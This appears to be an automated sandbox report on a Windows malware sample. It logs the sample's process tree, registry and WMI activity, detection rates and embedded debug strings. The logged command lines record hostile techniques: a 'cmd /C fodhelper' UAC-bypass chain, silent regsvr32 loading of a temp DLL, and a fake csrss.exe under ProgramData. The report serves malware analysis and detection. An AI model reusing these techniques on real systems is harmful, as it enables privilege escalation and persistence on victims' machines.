Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: is-M9FK5.tmp.34.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: is-M9FK5.tmp.34.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: is-M9FK5.tmp.34.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: NBHEkIKDCr.exe	ReversingLabs: Detection: 40%
Source: NBHEkIKDCr.exe	Virustotal: Detection: 45%

Source: 933A.exe

String found in binary or memory: MyRnHu--Install18

Source: unknown	Process created: C:\Users\user\Desktop\NBHEkIKDCr.exe C:\Users\user\Desktop\NBHEkIKDCr.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\faischf C:\Users\user\AppData\Roaming\faischf
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\76D5.exe C:\Users\user\AppData\Local\Temp\76D5.exe
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process created: C:\Users\user\AppData\Local\Temp\76D5.exe C:\Users\user\AppData\Local\Temp\76D5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\826E.exe C:\Users\user\AppData\Local\Temp\826E.exe
Source: C:\Users\user\AppData\Local\Temp\826E.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\87A0.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\87A0.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8FEE.exe C:\Users\user\AppData\Local\Temp\8FEE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\933A.exe C:\Users\user\AppData\Local\Temp\933A.exe
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AF9D.exe C:\Users\user\AppData\Local\Temp\AF9D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe C:\Users\user\AppData\Local\Temp\C1FD.exe
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C5.exe C:\Users\user\AppData\Local\Temp\D5C5.exe
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe "C:\Users\user\AppData\Local\Temp\C1FD.exe"
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process created: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp "C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp" /SL5="$20488,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp	Process created: C:\Users\user\AppData\Local\Temp\D5C5.exe "C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp "C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp" /SL5="$C02BA,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" helpmsg 18
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Program Files (x86)\PRingTone\PRingTone.exe "C:\Program Files (x86)\PRingTone\PRingTone.exe" -i
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 18
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Program Files (x86)\PRingTone\PRingTone.exe "C:\Program Files (x86)\PRingTone\PRingTone.exe" -s
Source: unknown	Process created: C:\Windows\servicing\TrustedInstaller.exe C:\Windows\servicing\TrustedInstaller.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe C:\Users\user\AppData\Local\Temp\C1FD.exe
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cwischf C:\Users\user\AppData\Roaming\cwischf
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\76D5.exe C:\Users\user\AppData\Local\Temp\76D5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\826E.exe C:\Users\user\AppData\Local\Temp\826E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\87A0.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8FEE.exe C:\Users\user\AppData\Local\Temp\8FEE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\933A.exe C:\Users\user\AppData\Local\Temp\933A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AF9D.exe C:\Users\user\AppData\Local\Temp\AF9D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe C:\Users\user\AppData\Local\Temp\C1FD.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D5C5.exe C:\Users\user\AppData\Local\Temp\D5C5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process created: C:\Users\user\AppData\Local\Temp\76D5.exe C:\Users\user\AppData\Local\Temp\76D5.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\87A0.dll	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\Sysnative\cmd.exe /C fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe "C:\Windows\system32\fodhelper.exe"
Source: C:\ProgramData\Drivers\csrss.exe	Process created: C:\ProgramData\Drivers\csrss.exe "C:\ProgramData\Drivers\csrss.exe"
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe "C:\Users\user\AppData\Local\Temp\C1FD.exe"
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process created: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp "C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp" /SL5="$20488,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe"
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp "C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp" /SL5="$C02BA,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" helpmsg 18
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Program Files (x86)\PRingTone\PRingTone.exe "C:\Program Files (x86)\PRingTone\PRingTone.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process created: C:\Program Files (x86)\PRingTone\PRingTone.exe "C:\Program Files (x86)\PRingTone\PRingTone.exe" -s
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 helpmsg 18
Source: C:\Windows\System32\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\C1FD.exe C:\Users\user\AppData\Local\Temp\C1FD.exe
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\System32\fodhelper.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Source: C:\Users\user\Desktop\NBHEkIKDCr.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: NBHEkIKDCr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Loader.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: C1FD.exe, 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\xujusadegaf99 ponafiba\hacivujok.pdb source: C1FD.exe, 00000011.00000000.2150083292.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000000.2186573700.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000000.2248878266.000000000080B000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 8FEE.exe, 0000000C.00000002.2285445883.0000000000BC4000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000003629000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003F18000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000004138000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003849000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: i8C:\xujusadegaf99 ponafiba\hacivujok.pdb source: C1FD.exe, 00000011.00000000.2150083292.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000000.2186573700.000000000080B000.00000002.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000000.2248878266.000000000080B000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\sorokekaluyi\jecoxi.pdb source: 76D5.exe, 00000006.00000002.1984191647.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 76D5.exe, 00000006.00000000.1958711295.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, 76D5.exe, 00000007.00000000.1983305367.00000000005CA000.00000002.00000001.01000000.00000006.sdmp, csrss.exe, 0000000E.00000002.2096354290.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000000E.00000000.2086931556.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000000F.00000000.2095277660.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 00000018.00000000.2176019317.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 00000018.00000002.2196781643.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp, csrss.exe, 0000001E.00000000.2188611010.00000000005CA000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\nuzo\jagivuculevex.pdb source: NBHEkIKDCr.exe
